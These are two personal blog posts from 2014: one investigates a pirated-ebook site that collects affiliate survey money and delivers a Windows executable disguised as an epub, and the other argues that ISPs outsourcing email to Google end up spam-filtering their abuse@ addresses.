Both masszip.com and cleanfiles.net are served up by the Cloudflare content delivery network. I’m planning an entire computer security blog post about Cloudflare; they are either completely incompetent or totally black hat, and provide content delivery services for a wide assortment of spammers, malware distributors, and phish pages. (I’ve mentioned Cloudflare’s dysfunctional abuse procedures in a previous blog post.)

I jumped through all the hoops to download a copy of More Than Two, using a disposable email address created just for the purpose. The sites signal cleanfiles.net that you’ve finished the “survey” or filled in an email for an insurance quote or whatever, and then a file downloads.

It’s not necessarily the file you expected, though.

The first time I did this, I got a file that claimed to be an epub, all right, but it wasn’t More Than Two. It was a file called Ebook+ID+53170.rar, which uncompressed into a file called “Words of Radiance – Brandon Sanderson.epub”. Words of Radiance looks to be a real book–a somewhat pedestrian fantasy story about kings and assassins and heroes with secret powers.

The file was not actually an ebook, though. It was actually a Windows executable; and, needless to say, I would not recommend running it. In my experience, Windows expecutable files that mislead you about their names usually have nefarious purposes.

I tried the download again, using a different “survey” link and a different throwaway profile, and ended up being taken to this page:

I’m betting the violation of the Mediafire terms of service probably related to malware.

So basically, the site offers pirated eBooks, but actually makes you fill out surveys and apply for various kinds of insurance quotes and so on, presumably all to make money for the folks who run it. It doesn’t actually deliver the goods, however. Instead, it delivers Windows executables of undetermined provenance that likely don’t do anything you want them to do.

I examined each of the links and discovered the owners of the site are using three different affiliate tracking systems to make money. The affiliate system you’re routed through depends on which link you click. The system looks something like this:

Presumably, they also make money from malicious file downloads.

The site at trk.bluetrackmedia.com is an affiliate tracking site run by Blue Track Media, which bills itself as “The Performance-Based Online Advertising Company.” Typical URLs that run through Blue Track Media look like

http://trk.bluetrackmedia.com/cclick.php?affiliate=3239&campaign=9600&sid=139267348_21118_w_161238&sid3=2859

The people responsible for this scam are identified by the affiliate code “affiliate=3239”.

The site at adworkmedia.com is an affiliate tracking site run by AdWorkMedia, a site that monetizes Web sites using “content locking,” where certain parts of the site are blocked until the visitor does something like fills out a Web survey or gives his email address to an advertiser. Typical URLs that run through AdWorkMedia look like

http://www.adworkmedia.com/go.php?camp=7012&pub=11178&id=15672&sid=&sid2=2736&sid3=LinkLocker&ref=&shortID=198717

t.afftrackr.com is a site registered to a guy named Ryan Schulke. It’s listed as malicious by VirusTotal.

I can’t find out much about quicktrkr.com, except that it’s a new site registered February of this year, 1.quicktrkr.com is hosted on Amazon EC2, and it’s protected by a whois anonymizing service in Panama.

So in short, here’s the scam:

A Web site, masszip.com, promises free stolen eBooks. The site is a front-end for another site, cleanfiles.net, which makes money by using an affiliate system to try to get you to fill out surveys and similar offices. Advertising companies like AdWorksMedia and Blue Track Media pay the site owners whenever you fill out one of these surveys or offers.

If you do this, a file downloads to your system. it will claim to be an eBook (though not the eBook you thought you were getting), but analysis of the file shows it’s actually a Windows executable. The scam is spamvertised via YouTube “videos” that are actually nothing but spam front-ends.

If you’re looking for a copy of our book More Than Two, I suggest you don’t take this route. I understand that waiting for the book to be released on September 2nd might feel like agony (believe me, it does for us too!), but it’s a lot less likely to get your computer infected with malware, and it won’t help line the pockets of scammers at your expense.

Interestingly, some of the advertised sites you end up with if you jump through all the hoops are actually mainstream, big-name companies like Allstate and Publisher’s Clearinghouse, which apparently have no compunction in associating their brands with scams and malware.

UPDATE: The site at t.afftrackr.com appears to be owned by Cake Marketing, and is part of their affiliate tracking system. A Google search for t.afftrackr.com shows a very low confidence in the site, and a number of complaints and dodgy associations.

UPDATE 2 (1-July-2014): The YouTube account of the scammer has been terminated. I received an email this morning from Blue Track Media, saying the affiliate account of the scammers had been closed.

The scam is still active, and it’s now using the affiliate tracking company Adscend Media. Typical URLs used in the links on the scam download page look like

http://adscendmedia.com/click.php?aff=12842&camp=29168&crt=0&prod=3&from=1&sub1=141558590_21118_w_161238&subsrc=2859

I also filed a DMCA report with Cloudflare, and received a reply that basically says “we are a content delivery network, not a conventional Web host, so we don’t have to listen to DMCA reports.” Cloudflare is continuing to provide services to the scam Web sites.

UPDATE 3 (1-July-2014): Only a few hours after I emailed Adscend Media about the scam, I received an email saying they’d also terminated the scammer’s affiliate account.

UPDATE 4 (26-July-2014): I’ve received an email from a person who claims to be working for the Web site masszip.com.

From: Luella Forbes
To: [my franklinveaux dot com address]
Subject: RE: Your book has been taken down
Date: Fri, 25 Jul 2014 04:22:07 +0100

Hello Im Kathyne PAce

I am from masszip.com

i removed your book from our site http://www.masszip.com/two-practical-guide-ethical-polyamory-franklin-veaux-

Now now it does not exist on our site . Sorry for this.

I have removed your books on the web masszip
so you also please remove your post says about us here http://blog.franklinveaux.com/2014/06/piracy-and-more-than-two-caveat-emptor/

Thanks u !

Apparently, they don’t like blog posts saying they’re claiming to give away bootlegged books for free but in fact are distributing Windows executables.

UPDATE 5 (27-July-2014): I’ve received another email from the person who claims to be behind the site, apparently upset I haven’t taken down this post:

From: Luella Forbes
To: [my franklinveaux dot com address]
Subject: Franklin is gay!
Date: Sun, 27 Jul 2014 23:16:54 +0100

Franklin is gay ,ok update it on your blog now . U are lady ,that is true

I wonder if I should give this person’s email address to the publishers of all the books the Web site claims to have available for free download.

UPDATE 6 (14-August-2014): The page is back on Masszip advertising More Than Two. As before, it doesn’t actually lead to a download of the eBook; instead, if you jump through the affiliate marketing hoops to get it, you end up with a Windows executable disguised as an eBook.

Also, the Masszip folks are back to using the Blue Track Media affiliate link. I’ve emailed Blue Track Media about it.

The Dangers of Digital Outsourcing

Email is hard.

The standards we use for email date back to the 1980s. They were based on even more primitive email standards develiped in the late 1960s and early 1970s.

Computer networks were a very different animal back then. The ARPAnet, one of the precursors to the modern Internet, had 50 systems on it. Everyone knew each other. Only a small handful of “email addresses” existed. There was no security and no authentication, because you knew all the other people who had email access.

Today’s email system is a hacked-together, tottering patchwork of different ideas and implementations, with all kinds of additions and extensions bolted on. It’s still woefully insecure, and it still has its roots in an earlier and vastly simpler time.

This means running email servers is hard. Even if you’re a big ISP, running email servers is hard. And it’s expensive. Even the most dedicated sendmail guru will tell you getting all the configuration wibbly bits correct is difficult and tedious, and it’s easy to make mistakes.

So more and more people are outsourcing their email. Even large ISPs are turning to Google to run their mail servers. Everyone knows about gmail, but most people don’t know that gmail can also take over your company’s mail services, dropping the “@gmail” bit for whatever you want. Google is good at email and it’s a lot cheaper to have them run your email than it is to do it yourself.

Which creates a problem.


Most email is spam, by a huge margin. About three-quarters of all the email sent anywhere is spam. The only reason you can still use your email is filtering, filtering, filtering. The stuff that lands in your inbox is the tiny drip, drip, drip of spam that gets through the filters holding back the torrential flood.

This happens because email standards were invented in a time when there were 50 computers on the entire net and everyone knew everyone else, so there is absolutely no authentication built into email. I can send you mail from any address I want and your server will blindly accept it.

Now, most of the Internet doesn’t like spam. Or, at least, it pretends not to. (Many mainstream ISPs and affiliate advertising companies turn a blind eye to it, because profit–but that’s a post I’m working on for another day.)

ISPs have certain “role accounts”–email adddresses that are always the same, such as postmaster@whatever, hostmaster@whatever, and abuse@whatever.

The abuse@ email address is where you send reports of, naturally, abuse. If an ISP is hosting a Spamvertised Web site, or has been hacked and is being used to spread viruses, or is the source of spam emails, you send notifications and copies of the spam emails to abuse@.

So, naturally, you can’t put spam filters on the abuse@ email address, for obvious reasons. If you spam-filter abuse@ and I try to send you notification of spam that’s being sent from your servers, the notification will get filtered and you won’t see it.

In fact, “thou shalt not put spam filters on your abuse role account” is in one of the documents that specifies what makes the Internet go. The standards and protocols that make the Internet work are outlined in a series of technical documents called “RFC”s, and RFC2142 spells out what role accounts an ISP should have, what they’re used for…and oh yeah, don’t run a spam filter on your abuse@ address because that would be really stupid.

The problem is that more and more ISPs are realizing that email is hard, running email servers is hard, and it’s a lot cheaper and easier to let Google just handle all your email services for you.

And Google automatically filters spam.


Email is hard.

Part of the reason email is hard is every email address can be configured in a zillion different ways with a zillion different options.

Google has built a set of options that make sense for most email addresses most of the time, and when you turn over your email operations to Google, that’s what you get.

One of those options that makes sense for most email addresses most of the time is spam filtering. When ISPs and Web service providers relinquish control of their email services to Google, they’re often not even aware that Google filters spam by default. They don’t know they are filtering their abuse@ address, because who would do that? How dumb would you have to be to put a spam filter on an email address intended for reporting spam, right?

So we get things like this:

Here’s the bounce:

: host aspmx.l.google.com[173.194.64.27] said: 550-5.7.1
[67.18.53.18 7] Our system has detected that this message is
550-5.7.1 likely unsolicited mail. To reduce the amount of spam sent to
Gmail, 550-5.7.1 this message has been blocked. Please visit 550-5.7.1
http://support.google.com/mail/bin/answer.py?hl=en&answer=188131 for 550
5.7.1 more information. ny4si6062371obb.164 – gsmtp (in reply to end of
DATA command)
Reporting-MTA: dns; gateway07.websitewelcome.com
X-Postfix-Queue-ID: 0FF09169EDAB
X-Postfix-Sender: rfc822; franklin@franklinveaux.com
Arrival-Date: Fri, 28 Mar 2014 16:31:17 -0500 (CDT)

This was a bounce that came back from a “phish”–a phony PayPal or bank site designed to trick people into giving up sensitive information–that Cloudflare, a content delivery network, was serving. I reported the phish to them on March 28. When I checked it three days ago, it was still there, still stealing people’s passwords.

And it’s not isolated. This is an incredibly common problem:

: host alt2.ASPMX.L.GOOGLE.com[74.125.29.27] said:
550-5.7.1 [67.18.62.19 12] Our system has detected that this message
is 550-5.7.1 likely unsolicited mail. To reduce the amount of spam sent to
Gmail, 550-5.7.1 this message has been blocked. Please visit 550-5.7.1
http://support.google.com/mail/bin/answer.py?hl=en&answer=188131 for 550
5.7.1 more information. x7si1316702qaj.209 – gsmtp (in reply to end of DATA
command)
Reporting-MTA: dns; gateway01.websitewelcome.com
X-Postfix-Queue-ID: C61B24C69D52
X-Postfix-Sender: rfc822; franklin@franklinveaux.com
Arrival-Date: Sat, 3 May 2014 15:54:51 -0500 (CDT)

: host ASPMX.L.GOOGLE.com[173.194.64.27] said: 550-5.7.1
[67.18.22.93 12] Our system has detected that this message is
550-5.7.1 likely unsolicited mail. To reduce the amount of spam sent to
Gmail, 550-5.7.1 this message has been blocked. Please visit 550-5.7.1
http://support.google.com/mail/bin/answer.py?hl=en&answer=188131 for 550
5.7.1 more information. ij7si5132986obc.180 – gsmtp (in reply to end of
DATA command)
Reporting-MTA: dns; gateway05.websitewelcome.com
X-Postfix-Queue-ID: 9FB7A4A9184F7
X-Postfix-Sender: rfc822; franklin@franklinveaux.com
Arrival-Date: Mon, 5 May 2014 02:07:56 -0500 (CDT)

Most folks, when they see the bounce message, are like “d’oh!” and find a way to turn off filtering their abuse@ message. (Cloudflare seems to be a bit of a special case; they tend to get defensive and snarky instead. That’s disappointing, as their founder was an early anti-spam pioneer.)

The dangers of outsourcing bits of your business is that you necessarily lose control of those bits. When you’re an ISP or a Web service provider and you outsource your email services, well, losing control of your email services can have some unfortunate consequences. When you filter your abuse@ address, you soon become a haven for spam and malware and phish pages and all sorts of other nasties…because you don’t know you’re hosting them.

So what’s the solution?

Ideally, a complete overhaul of email. Since that’s about as likely as Elvis stepping out of a flying saucer in Times Square and handing me a winning Powerball lotto ticket, I’m not holding my breath.

Another solution is for ISPs to acknowledge that the work they do is hard, and just doing it. That’s a bit more likely, but it still involves things approximately as probable as Elvis and flying saucers–perhaps Elvis handing me a chocolate bagel rather than a Powerball ticket–so I’m still not holding my breath.

But it might be in the realm of possibility for Google to set up their configuration to turn off spam filtering by default on any email address that contains the word “abuse.”

Anyone know anyone who works in Google’s email services department?